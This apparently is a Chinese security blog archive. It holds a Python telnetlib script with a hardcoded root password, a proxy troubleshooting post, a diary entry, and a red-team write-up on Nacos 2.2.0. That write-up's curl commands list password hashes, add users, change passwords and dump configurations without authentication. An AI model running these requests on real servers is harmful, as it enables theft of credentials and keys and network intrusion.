logging.warning('%s登录成功'%host_ip)
return True
else:
logging.warning('%s登录失败,用户名或密码错误'%host_ip)
return False

# 此函数实现执行传过来的命令,并输出其执行结果
def execute_some_command(self,command):
# 执行命令
self.tn.write(command.encode('ascii')+b'\n')
time.sleep(2)
# 获取命令结果
command_result = self.tn.read_very_eager().decode('ascii')
logging.warning('命令执行结果:\n%s' % command_result)

# 退出telnet
def logout_host(self):
self.tn.write(b"exit\n")

if __name__ == '__main__':
host_ip = '192.168.220.129'
username = 'root'
password = 'abcd1234'
command = 'whoami'
telnet_client = TelnetClient()
# 如果登录结果返加True,则执行命令,然后退出
if telnet_client.login_host(host_ip,username,password):
telnet_client.execute_some_command(command)
telnet_client.logout_host()

python 库 telnetlib: Telnet客户端:
telnetlib模块提供的Telnet类实现了Telnet协议。它为协议字符和telnet选项提供符号常量,符号常量来源于arpa/telnet.h去掉了前缀TELOPT_

1.Telnet.read_all(): 读取所有数据直到EOF,阻塞直到连接关闭
2.Telnet.read_some(): 读取至少一个字节的数据,除非EOF。如果没有数据则阻塞。
3.Telnet.read_until(expected[, timeout]):常用于登录,与write连用;读取直到遇到了给定的字符串expected或超时秒数
4.Telnet.read_very_eager(): 非阻塞地读取。连接关闭或者没有数据时触发EOFError异常,返回b’’如果没有数据。 获取命令执行结果:获取的内容是上次获取之后本次获取之前的所有输入输出
5.Telnet.read_eager(): 读取已有数据(快)
6.Telnet.read_lazy(): 读取已有数据(懒)
7.Telnet.read_sb_data(): 返回的SB/SE pair(suboption begin/end)之间的数据,此方法永远不会阻塞
8.Telnet.open(host[,port[,timeout]]): 连接到主机,可选的第二个参数是默认为标准的Telnet端口(23)的端口号。可选的超时参数(以秒指定)阻塞操作(如连接尝试超时(如果不指定,默认使用全局超时设置))
9.Telnet.msg(msg[, *args]): 当调试级别为>0打印调试信息
10.Telnet.set_debuglevel(debuglevel):设置调试级别。debuglevel越高信息越多。
11.Telnet.close() 关闭连接
12.Telnet.get_socket():返回套接字供内部使用
13.Telnet.fileno(): 返回套接字对象内部使用的文件描述
14.Telnet.write(buffer): 常用于执行命令;写入字符串到套接字,加倍IAC的任何字符。连接关闭时可能触发OSError异常。
15.Telnet.interact(): 交由用户控制
16.Telnet.mt_interact(): 多线程版本的interact()
17.Telnet.expect(list[, timeout]): 读取直到匹配正则表达式项列表中的一个。list是一个正则表达式列表,包含编译(regx对象)或未编译(字节字符串)。timeout以秒为单位,默认值为无限期阻塞。返回元祖的三个项目:

  • 1.index为匹配正则表达式的位置;
  • 2.match对象
  • 3.此时读了的字节
    18.Telnet.set_option_negotiation_callback(callback):每次从输入流读取telnet选项时,调用callback,后续步骤不会执行。

云原生组件Nacos新型红队手法研究

云原生组件Nacos新型红队手法研究

本文转自Zhuri 并作补充

组件简介

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service的首字母简称,一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 致力于帮助您发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。

历史漏洞

2020年12月29日,Nacos官方在github发布的issue中披露Alibaba Nacos 存在一个由于不当处理User-Agent导致的未授权访问漏洞 。通过该漏洞,攻击者可以进行任意操作,包括创建新用户并进行登录后操作。
https://github.com/alibaba/nacos/issues/1105
在Nacos 2.0版本存在未授权访问漏洞,程序未有效对于用户权限进行判断,导致能够添加任意用户、修改任意用户密码等等问题。
这里就不做过多介绍了,网上有很多。
就在我撰写本文的时候,官方刚刚发布了最新的版本2.2.0 (Dec 14, 2022),我们就来一探究竟。

部署方式

为了方便起见,我这里使用Debian系统并采用的单机部署的方式。

1
2
3
4
5
6
7
sudo apt-get update
sudo apt-get install default-jdk
sudo ufw disable
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.zip
unzip nacos-server-2.2.0.zip
cd nacos/bin
bash startup.sh -m standalone

然后访问http://ip:8848/nacos,如果出现登录界面,就说明部署成功了,默认的账号密码为nacos/nacos。

image

我们首先尝试使用老版本的payload尝试能不能打。

1
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9' -H 'User-Agent: Nacos-Server'

不出意外,返回:

1
caused: Parameter conditions "search=blur" OR "search=accurate" not met for actual request parameters: pageNo={1}, pageSize={9};%

我们仔细看一下报错,提示说是缺少search=blur或者search=accurate,那我们加上再试试看。

1
2
3
curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur' -H 'User-Agent: Nacos-Server'

curl 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate' -H 'User-Agent: Nacos-Server'

image

这就成功了?
我一开始以为没修,后来发现,我通过查看鉴权相关文档时(https://nacos.io/en-us/docs/auth.html),它只描述了如何开启鉴权,以及不开启鉴权的后果,但是默认启动却不开鉴权的,并且根据github的issue来看,官方并不认为这是漏洞,以至于网上出了之前由于不当处理User-Agent导致的未授权访问漏洞之后,后人少有挖掘其利用方式,网上的相关资料也基本上停留在那次CVE。

未开启auth

由于默认是不开auth的,所以我们先来讨论未开启auth的情况。

读取用户账号密码

1
2
3
curl -X GET 'http://192.168.20.144:8848/nacos/v1/auth/users?pageNo=1&pageSize=9&search=blur'

{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"}]}

未授权添加用户

1
2
3
curl -X POST 'http://192.168.20.144:8848/nacos/v1/auth/users?username=test1&password=test1'

{"code":200,"message":null,"data":"create user ok!"}

任意用户密码更改

1
curl -X PUT 'http://192.168.20.144:8848/nacos/v1/auth/users?accessToken=' -H 'User-Agent:Nacos-Server' -d 'username=test1&newPassword=test2'

基本上目前主流针对Nacos的利用手法就停留在这里了,以至于防守方会通过WAF规则的形式来拦截掉这几个url请求。
但是根据代码审计以及官方的api接口文档,我们还能找到许多可以利用的接口,官方文档里面有的,我就不说了,大家自己可以去OpenAPI(https://nacos.io/zh-cn/docs/open-api.html)自行查看,官网里面的OpenAPI所给出的利用价值并不是很高。

代码审计

下载源码后通过简单查找发现在nacos/config/src/main/java/com/alibaba/nacos/config/server/constant/Constants.javanacos/core/src/main/java/com/alibaba/nacos/core/utils/Commons.java文件下,有相关路由的定义,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static final String BASE_PATH = "/v1/cs";

public static final String BASE_V2_PATH = "/v2/cs";

public static final String OPS_CONTROLLER_PATH = BASE_PATH + "/ops";

public static final String CAPACITY_CONTROLLER_PATH = BASE_PATH + "/capacity";

public static final String COMMUNICATION_CONTROLLER_PATH = BASE_PATH + "/communication";

public static final String CONFIG_CONTROLLER_PATH = BASE_PATH + "/configs";

public static final String CONFIG_CONTROLLER_V2_PATH = BASE_V2_PATH + "/config";

public static final String HEALTH_CONTROLLER_PATH = BASE_PATH + "/health";

public static final String HISTORY_CONTROLLER_PATH = BASE_PATH + "/history";

public static final String HISTORY_CONTROLLER_V2_PATH = BASE_V2_PATH + "/history";

public static final String LISTENER_CONTROLLER_PATH = BASE_PATH + "/listener";

public static final String NAMESPACE_CONTROLLER_PATH = BASE_PATH + "/namespaces";

public static final String METRICS_CONTROLLER_PATH = BASE_PATH + "/metrics";
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public final class Commons {

public static final String NACOS_SERVER_CONTEXT = "/nacos";

public static final String NACOS_SERVER_VERSION = "/v1";

public static final String NACOS_SERVER_VERSION_V2 = "/v2";

public static final String DEFAULT_NACOS_CORE_CONTEXT = NACOS_SERVER_VERSION + "/core";

public static final String NACOS_CORE_CONTEXT = DEFAULT_NACOS_CORE_CONTEXT;

public static final String NACOS_CORE_CONTEXT_V2 = NACOS_SERVER_VERSION_V2 + "/core";


}

我们可以看到有V1、V2两种API接口,我们根据不同类型再具体分析。

获取配置数据

根据官方OpenAPI的说明,你需要知道dataId与group的值,才能读取到对应的配置文件,如果留空或者不填,则会无法读取。

1
curl -X GET 'http://127.0.0.1:8848/nacos/v1/cs/configs?dataId=nacos.example&group=com.alibaba.nacos'

事实真的是这样吗?
我们看一下/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java文件中369行开始的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/**
* Query the configuration information and return it in JSON format.
*/
@GetMapping(params = "search=accurate")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> searchConfig(@RequestParam("dataId") String dataId, @RequestParam("group") String group,
@RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
Map<String, Object> configAdvanceInfo = new HashMap<>(100);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfo4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}

/**
* Fuzzy query configuration information. Fuzzy queries based only on content are not allowed, that is, both dataId
* and group are NULL, but content is not NULL. In this case, all configurations are returned.
*/
@GetMapping(params = "search=blur")
@Secured(action = ActionTypes.READ, signType = SignType.CONFIG)
public Page<ConfigInfo> fuzzySearchConfig(@RequestParam("dataId") String dataId,
@RequestParam("group") String group, @RequestParam(value = "appName", required = false) String appName,
@RequestParam(value = "tenant", required = false, defaultValue = StringUtils.EMPTY) String tenant,
@RequestParam(value = "config_tags", required = false) String configTags,
@RequestParam("pageNo") int pageNo, @RequestParam("pageSize") int pageSize) {
MetricsMonitor.getFuzzySearchMonitor().incrementAndGet();
Map<String, Object> configAdvanceInfo = new HashMap<>(50);
if (StringUtils.isNotBlank(appName)) {
configAdvanceInfo.put("appName", appName);
}
if (StringUtils.isNotBlank(configTags)) {
configAdvanceInfo.put("config_tags", configTags);
}
try {
return configInfoPersistService.findConfigInfoLike4Page(pageNo, pageSize, dataId, group, tenant, configAdvanceInfo);
} catch (Exception e) {
String errorMsg = "serialize page error, dataId=" + dataId + ", group=" + group;
LOGGER.error(errorMsg, e);
throw new RuntimeException(errorMsg, e);
}
}

我们可以看到首先先进行了signType = SignType.CONFIG的权限检查,这里的signType的一个作用就是检查auth是否开启,但是之前也提到过,auth是默认不开启的。接着我们继续分析,当参数search=accurate时,从GET请求中获取参数dataId、group、appName、tenant、config_tags、pageNo、pageSize参数,其中appName、tenant、config_tags不是必填的,接着先检查appNameconfigTags是否为空,我们直接留空或者不填就能绕过这个判断,然后接下来就是迷之操作了,直接给我全部返回了。
所以我们直接构造参数,就可以发现能够获取全部的配置文件了。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99’

或者:

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=blur&dataId=&group=&pageNo=1&pageSize=99’

image

但这里有个问题,这只能获取默认命名空间public里面的数据,但是现在有大聪明已经学会了不把数据放到默认的public,而是自己重新建一个namespace,再把企业的相关配置放在里面,这里留个伏笔,我们接着往下看。

image

获取其他Namespace的配置数据

根据官方的OpenAPI文档描述,可以直接请求获取。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/console/namespaces'

我们查看对应的代码,处理namespace的代码在nacos/console/src/main/java/com/alibaba/nacos/console/controller/NamespaceController.java这里,我们看从48行开始的代码,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@RestController
@RequestMapping("/v1/console/namespaces")
public class NamespaceController {

@Autowired
private CommonPersistService commonPersistService;

@Autowired
private NamespaceOperationService namespaceOperationService;

private final Pattern namespaceIdCheckPattern = Pattern.compile("^[\\w-]+");

private static final int NAMESPACE_ID_MAX_LENGTH = 128;

/**
* Get namespace list.
*
* @return namespace list
*/
@GetMapping
public RestResult<List<Namespace>> getNamespaces() {
return RestResultUtils.success(namespaceOperationService.getNamespaceList());
}

这样一看上去,直接访问就能获取到Namespace列表,我们再跟一下namespaceOperationService.getNamespaceList():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public List<Namespace> getNamespaceList() {
// TODO 获取用kp
List<TenantInfo> tenantInfos = commonPersistService.findTenantByKp(DEFAULT_KP);

Namespace namespace0 = new Namespace("", DEFAULT_NAMESPACE, DEFAULT_QUOTA,
configInfoPersistService.configInfoCount(DEFAULT_TENANT), NamespaceTypeEnum.GLOBAL.getType());
List<Namespace> namespaceList = new ArrayList<>();
namespaceList.add(namespace0);

for (TenantInfo tenantInfo : tenantInfos) {
int configCount = configInfoPersistService.configInfoCount(tenantInfo.getTenantId());
Namespace namespaceTmp = new Namespace(tenantInfo.getTenantId(), tenantInfo.getTenantName(),
tenantInfo.getTenantDesc(), DEFAULT_QUOTA, configCount, NamespaceTypeEnum.CUSTOM.getType());
namespaceList.add(namespaceTmp);
}
return namespaceList;
}

看上去也没有做什么限制,我们直接访问发现可以直接读到非public的Namespace,就是上面我们创建名叫REDTEAM的test_namespace命名空间。

image

这时候我们已经拿到了namespace、namespaceShowNmae,我们就可以根据之前的API光明正大的进行读取操作了,这里有个小技巧,之前读取配置里面的tenant参数获取的就是namespce,我们直接把tenant=test_namespace加进去构造请求,轻松读取到非public空间的数据。

1
curl -X GET 'http://192.168.20.144:8848/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99&tenant=test_namespace'

image

配置文件导出

就在我看上面上面这部分代码的时候,我们无意中发现了一个下载文件的接口,还是这个文件,找到了疑似导出配置文件的接口,我们继续跟进一下。
/config/src/main/java/com/alibaba/nacos/config/server/controller/ConfigController.java

image

接着我们在482行看到了相关代码。

image

根据逻辑,我们很轻松的构造出下载的链接,跟上面的类似,其中tenant为空默认下载public命名空间,如果要下载其他命名空间的配置文件则重复之前的先获取Namespace即可。

http://192.168.20.144:8848/nacos/v1/cs/configs?export=true&tenant=test_namespace&group=&appName=&ids=

后记

现在来看,之所以因为官方觉得不开启auth不算是漏洞,是因为根据官网OpenAPI来看,你需要知道具体的 Data Id 以及 Group才能读到具体配置,但是攻击者总能够通过代码审计的方法找到其他参数进行绕过。
目前攻防对抗实战中,Nacos的环境遇到非常多,并且无一例外都没有开启auth,很多防守方甚至只是用防火墙阻断网上公开的那几条exp利用的关键地址,Nacos里面保存了企业很多的配置文件比如数据库连接信息、AK/SK信息等等,拿到账号密码等信息之后用来做密码本,然后再进行内网横向,杀伤力非常之大。

参考链接

https://nacos.io/en-us/docs/auth.html
https://github.com/alibaba/nacos/issues/1105

Curl-Socks5h-x

[Linux]讓 curl 藉由 socks5 proxy 連線時,不要反解 DNS,造成連線失敗

本文转自Ephrain 并作补充

Proxy Server链接问题

公司的專案程式通常需要支援各種 proxy server,如 HTTP proxy, socks4 和 socks5 proxy。
今天遇到一個問題,我們的程式底層會使用 libcurl 做 HTTP 連線,但連到一台 socks5 proxy 時卻不能成功…

試著用 curl 加上 -x 選項來指定 proxy server,再加 -v 選項看看詳細的錯誤訊息:

1
2
3
4
5
6
7
8
9
10
testuser@localhost ~ curl -v -x socks5://172.22.1.1:8080 https://testdomain.com

* Rebuilt URL to: https://testdomain.com/
* Trying 172.22.1.1...
* TCP_NODELAY set
* SOCKS5 communication to testdomain.com:443
* SOCKS5 connect to IPv6 2600:1417:1b:184::23ac (locally resolved)
* Can't complete SOCKS5 connection to 0.0.0.0:0. (1)
* Closing connection 0
curl: (7) Can't complete SOCKS5 connection to 0.0.0.0:0. (1)

可以看到訊息裡有一行 locally resolved,這行代表的是 curl 自行去查詢了 DNS,將 testdomain.com 的 IP 找出來,但因為 curl 使用的是 Happy Eyeball 的演算法,同時會發出 Type A 和 AAAA 的 DNS request 封包,因此如果 AAAA 的 DNS 回應封包先回來的話,就會拿到 testdomain.com 的對應 IPv6 位址,反之如果是 A 的 DNS 回應封包先回來的話,拿到的則是 IPv4 位址。

下面用 Wireshark 觀察一下 curl 產生出來的 DNS 封包,它送出了 A 和 AAAA 兩種 DNS 封包,以下例來說是 A (IPv4) 的回應先回來,但這個結果會依據網路狀況而有所不同,有時候是 AAAA (IPv6) 的回應先回來:
image

curl 自行查詢 DNS 這件事情有什麼錯誤嗎?
以這個例子來說,curl 幫忙查出 testdomain.com 的 IPv6 位址 2600:1417:1b:184::23ac,然後連線到 socks5 proxy 172.22.1.1,叫它連線到這個 IPv6 位址去。
然而,這台 socks5 proxy 所在的網路只設定了 IPv4 位址,所以 proxy server 本身是無法藉由 IPv6 位址來連線的!
因此它自然無法連線到 curl 指定的 IPv6 位址,導致連線失敗…

要解決這個問題,可以叫 curl 不要雞婆自己去查 DNS,而是讓 proxy server 自己來查 DNS,因為 proxy server 自己知道所處的網路環境,像是它不能連 IPv6 網路時,自然不會去問 Type AAAA (IPv6) 的 DNS 結果。

我們將原本的 socks5://: 改成 socks5h://:,代表要讓 proxy 自己的查詢 DNS,可以看到 curl 直接連到了 proxy server,沒有先做 DNS 查詢,而最終 proxy 也成功完成了連線:

1
2
3
4
5
6
7
8
9
10
11
testuser@localhost ~ curl -v -x socks5h://172.22.1.1:8080 https://testdomain.com

* Rebuilt URL to: https://testdomain.com/
* Trying 172.22.1.1...
* TCP_NODELAY set
* SOCKS5 communication to testdomain.com:443
* SOCKS5 request granted.
* Connected to 172.22.1.1 (172.22.1.1) port 8080 (#0)
...
* Curl_http_done: called premature == 0
* Connection #0 to host testdomain.com left intact

不過這種雷,幾乎是每次整合一個用到 libcurl 的模組,就會再踩到一次啊…

我遇到的场景

首先,我没想到我会被台湾同胞的这篇技术博客教到很有趣的东西,其次,博主的语言和繁体配合起来更有趣了,也基于尊重保留了完整原文
image

公司做安全监控平台收敛内网后,外部主机关联内网服务器的数据,需要监控进程 agent 以走代理的方式进来
自然代理服务器的公网地址和内网地址不在一个网段,然后为了安全性,代理服务器内网地址虽然和监控服务器同一网段,但由于安全组的隔离两者是不能直接访问的……(´◐∀◐`)

代中代(´◐∀◐`)

很自然的 curl 即使走代理都找不到身处内网的监控服务器域名
我只能在代理服务器 host 上配一下域名解析,然后翻了许久找到了 curl 的代理访问方式原理,就是这位博主的文章,让我明白了可以让 Proxy Server 去做 curl 的进一步内网解析
泪目,乙方厂商技术整半天都解决不了的问题,后来和我说我给的命令,其他客户也有这种问题的不能装的也能装了,让我找他们销售要钱草w(“▔□▔)

希望两岸互相少点偏见吧

向阳行(Towards The Sun)

向阳行(Towards The Sun)

image

首先我得解释,我直到2023年1月17日,也就是除夕前几天,我还在更新另一篇斯卡蒂的赏金猎人之旅(SRC) 的内容
只不过一直没有push到博客上,包括现在写的这篇,今晚写的4篇,很大原因是数据传输的问题

要知道,在大公司,对员工的数据信息管得很严,要进行审查,我写的东西有很多涉及到漏洞细节
上次我把移动硬盘接电脑,里面有我的博客环境和写的文章,吓了领导一跳,以为我在拷数据啥的

那没办法,真不是我懒,不让搞啊!而且确实工作到没有时间……(那你为什么又开始写了呢?)
……
这就问得好了,“暑期大作战”开始了,周二周四都要加班到21点,周六还可能要来上班
我不想晚上继续加班,就做点自己的事情吧,晚上工作效率很低,真的
……
其实我真的搞不懂,一个人把自己全部精力投入在早上的8h里,效率真的不低了,还需要额外时间,是希望他早上8h不再那么专注,鼓励摸鱼吗?然后把东西放到晚上做?
(那肯定不是,是希望你继续做,做的更多)
那不就违背了多劳多得?甚至多劳少得、不得

image

所以望眼欲穿,开始思考自己的下一站;
所以望眼欲穿,期盼时间快快来到年关

image

这篇文章叫“向阳行”(Towards The Sun),是因为在写完这篇时,刚好随机到Rihanna的《Towards The Sun》,好一些的翻译自然是“逐日”,但是不想如此。